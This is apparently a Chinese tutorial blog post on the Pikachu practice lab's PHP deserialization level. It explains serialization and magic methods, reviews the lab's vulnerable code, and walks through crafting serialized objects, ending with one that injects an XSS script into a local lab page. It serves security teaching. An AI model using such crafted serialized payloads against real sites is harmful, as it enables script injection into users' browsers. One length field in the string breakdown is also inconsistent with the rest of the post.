pikachu靶场通关笔记40 反序列化(三种方法渗透)

目录

一、基本概念

二、反序列化

[三、serialize 函数](#三、serialize 函数)

[四、unserialize 函数](#四、unserialize 函数)

五、魔法函数

六、魔法函数与反序列化

七、源码分析

八、渗透实战

1、编写代码

2、输出字符串

3、输出XSS语句


本系列为通过《pikachu靶场通关笔记》的反序列化关卡的渗透实战,通过对反序列化关卡源码的代码审计找到安全风险的真实原因,讲解反序列化原理并进行渗透实践。

一、基本概念

**序列化(Serialization)**是将对象的状态转换成一组可以存储、传输或持久化的数据的过程。这个过程通常发生在需要保存对象状态以便稍后恢复,或者在网络通信中发送对象给另一个程序时。序列化可以用于多种目的,如数据库操作、文件存储、远程过程调用(RPC)等。

**反序列化(Unserialization)**是指将从字节流、字符串等非原始数据格式转换回其原始形式的过程,通常发生在数据存储或在网络传输后恢复到内存中的过程。在计算机编程中,特别是那些支持序列化的语言,如Java、Python等,我们经常将对象的状态转化为易于存储或传输的形式,比如JSON或二进制序列。当需要再次使用这些数据时,就需要通过反序列化将其还原成原先的对象实例,以便继续执行程序逻辑。

二、反序列化

反序列化是一种严重的安全隐患。序列化是将对象转换为字节序列的过程,而反序列化则是将字节序列重新转换回对象。当应用程序接收并反序列化不可信数据,且未对反序列化过程进行有效控制和验证时,就会产生反序列化安全风险。

攻击者可以精心构造恶意的序列化数据,在反序列化时触发任意代码执行、远程命令执行等操作。例如,利用存在反序列化风险的 PHP 应用,通过构造包含恶意类和方法调用的序列化字符串,当服务器对其进行反序列化时,可能会执行攻击者预设的系统命令,进而获取服务器敏感信息、篡改文件,甚至完全控制服务器。反序列化安全风险常出现在使用序列化存储数据、传输对象数据的场景中,如用户会话管理、缓存系统等。防范此风险,需避免反序列化不可信数据,对输入数据进行严格过滤和验证,限制反序列化的类和方法,以降低安全风险。

三、serialize 函数

在 PHP 里,serialize 函数的作用是把 PHP 的值转换为可以存储或传输的字符串表示形式。**serialize 可以将变量转换为字符串并且在转换中可以保存当前变量的值,序列化说通俗点就是把一个对象变成可以传输的字符串。**通过序列化,对象和数组这类复杂的数据结构能被保存到文件、数据库或者通过网络传输,之后可以使用 unserialize 函数将其还原。具体语法如下所示。

复制代码
string serialize ( mixed $value )
  • $value:要序列化的变量,能够是任何 PHP 类型,像数组、对象、字符串、整数等。
  • 返回值:返回一个包含被序列化后变量的字符串。

接下来对序列化函数进行举例,以字符串pikachu为例,讲解序列化的输出,代码如下所示。

复制代码
Class S{
    public $test="pikachu";
}//定义类(类名为S)
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化

序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";},( 注意:**pikachu靶场上解释有误),**下面对序列化后的字符串进行详细拆解分析。

  • O :这是序列化字符串的起始标记,代表当前序列化的是一个对象(Object)。在 PHP 的序列化规则里,不同类型有不同的起始标记,例如 a 代表数组(array),s 代表字符串(string),i 代表整数(integer)等。
  • 1 :这个数字表示对象所属类的名称的字符长度。在这个例子中,类名为 S,其长度为 1。
  • "S" :明确指出对象所属的类名,这里就是类 S
  • 1 :表示对象中属性的数量。在类 S 中,我们只定义了一个公共属性 $test,所以属性数量为 1。
  • {...} :大括号用于包裹对象属性的具体信息。
    • s:4:"test"
      • s 表示这是一个字符串类型的属性名。
      • 4 代表属性名 "test" 的字符长度。
      • "test" 就是属性的实际名称。
    • s:8:"pikachu"
      • s 同样表示这是一个字符串类型的属性值。
      • 8 代表属性值 "pikachu" 的字符长度。
      • "pikachu" 即为属性 $test 的实际值。

四、unserialize 函数

unserialize 函数的主要功能是将通过 serialize 函数序列化后的字符串恢复为原始的 PHP 变量。

复制代码
mixed unserialize ( string $str [, array $options = array() ] )
  • $str:这是必选参数,代表需要进行反序列化的字符串,该字符串通常是之前使用 serialize 函数得到的结果。
  • $options:这是可选参数,从 PHP 7.0.0 版本开始支持,它是一个包含反序列化选项的数组。例如,可以使用 allowed_classes 选项来指定允许反序列化的类,以此增强安全性。
  • 返回值:如果传递的字符串不可解序列化,则返回 FALSE,并产生一个E_NOTICE;返回的是转换之后的值,可为integer``float、string、array或object;若被反序列化的变量是一个对象,在成功重新构造对象之后,PHP会自动地试图去调用__wakeup()成员函数。

接下来对于第三部分的示例代码进行反序列化操作,具体如下所示。

复制代码
$s=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $s->test;  //得到的结果为pikachu

五、魔法函数

在 PHP 反序列化风险中,魔法函数扮演着关键角色。魔法函数是 PHP 中具有特殊名称和用途的函数,其名称以双下划线 __ 开头。这些函数会在特定的事件或操作发生时自动被调用,无需手动调用。常见可利用的魔法函数如下所示。

  • __construct()
    • 触发时机:在创建对象时自动调用。
    • 利用场景:攻击者可在构造函数中放置恶意代码,当反序列化创建对象时触发执行。
  • __destruct()
    • 触发时机:对象被销毁时自动调用。
    • 利用场景:在反序列化后,对象不再使用而被销毁时,可能触发其中的恶意代码。
  • __wakeup()
    • 触发时机:在反序列化对象时自动调用。
    • 利用场景 :攻击者可在该函数中编写恶意代码,在对象反序列化时执行。但从 PHP 5.6.25 和 7.0.10 起,如果序列化字符串中表示对象属性个数的值大于真实属性个数,__wakeup() 会被绕过。
    • 特别强调:pikachu靶场原文描述错误,不是序列化时调用。
  • __toString()
    • 触发时机:当对象被当作字符串使用时自动调用。
    • 利用场景:若代码中存在将对象当作字符串输出的情况,攻击者可在此函数中构造恶意代码。
  • __call()
    • 触发时机:调用对象中不存在的方法时自动调用。
    • 利用场景:攻击者可通过构造对不存在方法的调用,触发该函数执行恶意代码。
  • __invoke()
    • 触发时机:当尝试像调用函数一样调用对象时自动调用。
    • 利用场景:若代码中有将对象当作函数调用的逻辑,攻击者可在其中放置恶意代码。

六、魔法函数与反序列化

  • 触发机制:反序列化通常源于应用程序在反序列化用户可控的数据时,未对数据进行严格的验证和过滤。攻击者可构造包含恶意代码的序列化字符串,当服务器进行反序列化操作时,魔法函数会按照其触发规则自动执行,从而使恶意代码得以执行。
  • 攻击利用流程:攻击者首先分析目标应用中使用的类以及其中的魔法函数,然后创建一个包含恶意代码的对象,将其序列化得到恶意的序列化字符串。接着,攻击者将该字符串发送给目标应用,应用在反序列化过程中触发魔法函数,进而执行恶意代码。

举例,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源 而wakeup() 用于在从字符串反序列化为对象时自动调用。一个 PHP 对象被序列化成字符串并存储在文件、数据库或者通过网络传输时,我们可以使用 unserialize() 函数将其反序列化为一个 PHP 对象。在这个过程中,PHP 会自动调用该对象的 __wakeup() 方法,对其进行初始化。接下来我们通过示例来解释魔法函数的执行,具体如下所示。

复制代码
<?php
  class Stu
    {
       public $name = 'liujiannan';
       public $age = 18;
       
      function __construct()
      {
        echo '对象被创建了__consrtuct()';
      }
      function __wakeup()
      {
        echo '执行了反序列化__wakeup()';
      }     
       function __toString()
      {
        echo '对象被当做字符串输出__toString';
        return 'asdsadsad';
      }
      function __sleep()
      {
        echo '执行了序列化__sleep';
        return array('name','age');
      }
      function __destruct()
      {
        echo '对象被销毁了__destruct()';
      }
 
    } 
    $stu =  new Stu();
    echo "<pre>";
   //序列化
    $stu_ser = serialize($stu);
    print_r($stu_ser);
    //当成字符串输出
    echo "$stu";
   //反序列化
    $stu_unser = unserialize($stu_ser);
    print_r($stu_unser);
?>

使用php执行源码后输出如下所示,其中执行了__wakeup函数。

复制代码
对象被创建了__consrtuct()<pre>执行了序列化__sleepO:3:"Stu":2:{s:4:"name";s:10:"liujiannan";s:3:"age";i:18;}对象被当做字符串输出__toStringasdsadsad执行了反序列化__wakeup()Stu Object
(
    [name] => liujiannan
    [age] => 18
)
对象被销毁了__destruct()对象被销毁了__destruct()

代码执行过程的具体截图如下所示。

七、源码分析

打开pikachu靶场反序列化题目页面,如下所示。

复制代码
http://127.0.0.1/pikachu-master/vul/unserilization/unser.php

查看源码unser.php文件,可见反序列化函数的调用,具体如下所示。

这段PHP代码定义了一个名为S的类,其中包含一个静态变量test,初始值为"pikachu"。类的构造函数__construct()会在实例化时自动执行,用于显示test的值。从源码可以看到反序列化的变量是post请求的,post请求变量名为o。接下来,如果用户提交了表单数据(假设表单有一个名为'o'的字段),程序将尝试获取这个数据。如果获取的数据不是有效的序列化格式(unserialize()无法解析),则页面会显示一条提示消息:"大兄弟,来点劲爆点儿的!"。完整的经过注释后的代码如下所示。

复制代码
<?php
// 定义一个名为 S 的类
class S{
    // 使用 var 关键字声明一个公共属性 $test,并初始化为字符串 "pikachu"
    // 在 PHP 中,var 关键字在早期用于声明类的属性,现在通常使用 public、protected 或 private 来明确访问权限
    var $test = "pikachu";

    // 定义类 S 的构造函数,构造函数会在创建类的对象时自动调用
    function __construct(){
        // 输出当前对象的 $test 属性的值
        echo $this->test;
    }
}

// 初始化一个空字符串变量 $html,用于存储后续要输出的 HTML 内容
$html='';

// 检查是否通过 POST 方式提交了名为 'o' 的表单数据
if(isset($_POST['o'])){
    // 如果存在 'o' 字段,将其值赋给变量 $s
    $s = $_POST['o'];

    // 使用 @ 符号来抑制可能产生的错误信息,尝试对 $s 进行反序列化操作
    // 如果反序列化失败,unserialize 函数会返回 false
    if(!@$unser = unserialize($s)){
        // 若反序列化失败,将一段提示信息追加到 $html 变量中
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    } else {
        // 若反序列化成功,将反序列化后的对象的 $test 属性的值嵌入到 HTML 段落标签中,并追加到 $html 变量中
        $html.="<p>{$unser->test}</p>";
    }
}
?>

需要注意的是,这段代码存在反序列化安全风险,因为它直接对用户提交的数据进行反序列化,而没有对数据进行严格的验证和过滤。

八、渗透实战

1、编写代码

编写PHP代码,输出序列化结果。根据pikachu靶场反序列化源码编写如下所示。

复制代码
<?php
  class S{
  public $test="mooyuan";
  }
    $s=new S(); //创建一个对象
    $stus=serialize($s); //把这个对象进行序列化
    print_r($stus)
?>

使用菜鸟工具(https://c.runoob.com/compile/1/ )执行php脚本,结果如下所示。

输出内容如下所示O:1:"S":1:{s:4:"test";s:7:"mooyuan";}

2、输出字符串

输入O:1:"S":1:{s:4:"test";s:7:"mooyuan";} ,输出mooyuan,如下所示渗透成功。

3、输出XSS语句

修改php脚本,使输出XSS恶意脚本, 希望输出结果为<script>alert('mooyuan')</script>**,**源码编写如下所示。

复制代码
<?php
  class S{
  public $test="<script>alert('mooyuan')</script>";
  }
    $s=new S(); //创建一个对象
    $stus=serialize($s); //把这个对象进行序列化
    print_r($stus)
?>

使用菜鸟工具(https://c.runoob.com/compile/1/ )执行php脚本,结果如下所示。

输出内容为O:1:"S":1:{s:4:"test";s:33:"<script>alert('mooyuan')</script>";},将其输入到靶场中并后点击提交,如下所示弹框"mooyuan"成功

相关推荐
西岭千秋雪_2 小时前
计算机网络学习笔记:TCP可靠传输实现、超时重传时间选择
网络·笔记·学习·tcp/ip·计算机网络
小开心大王3 小时前
嵌入式学习笔记——day36-多路IO复用
笔记·学习
Wilber的技术分享3 小时前
【机器学习实战笔记 12】集成学习:AdaBoost算法
人工智能·笔记·算法·决策树·机器学习·分类·集成学习
安 当 加 密3 小时前
如何通过密钥管理系统实现数据库、操作系统账号和密码的安全管理
网络·数据库·安全
Gappsong8744 小时前
网络安全人才缺口:高需求背后的深层矛盾与突围之道
安全·web安全·网络安全
幸运的大号暖贴4 小时前
单点登录进阶:基于芋道(yudao)授权码模式的单点登录流程、代码实现与安全设计
java·安全
永夜的黎明5 小时前
【二进制安全作业】250616课上作业1-栈溢出漏洞利用
c语言·汇编·安全
缘友一世5 小时前
创业知识概论
经验分享·笔记·职场和发展·创业创新
陈壹~东莞高迪电子5 小时前
门锁开关;与我们生活中紧密联系!
服务器·网络·安全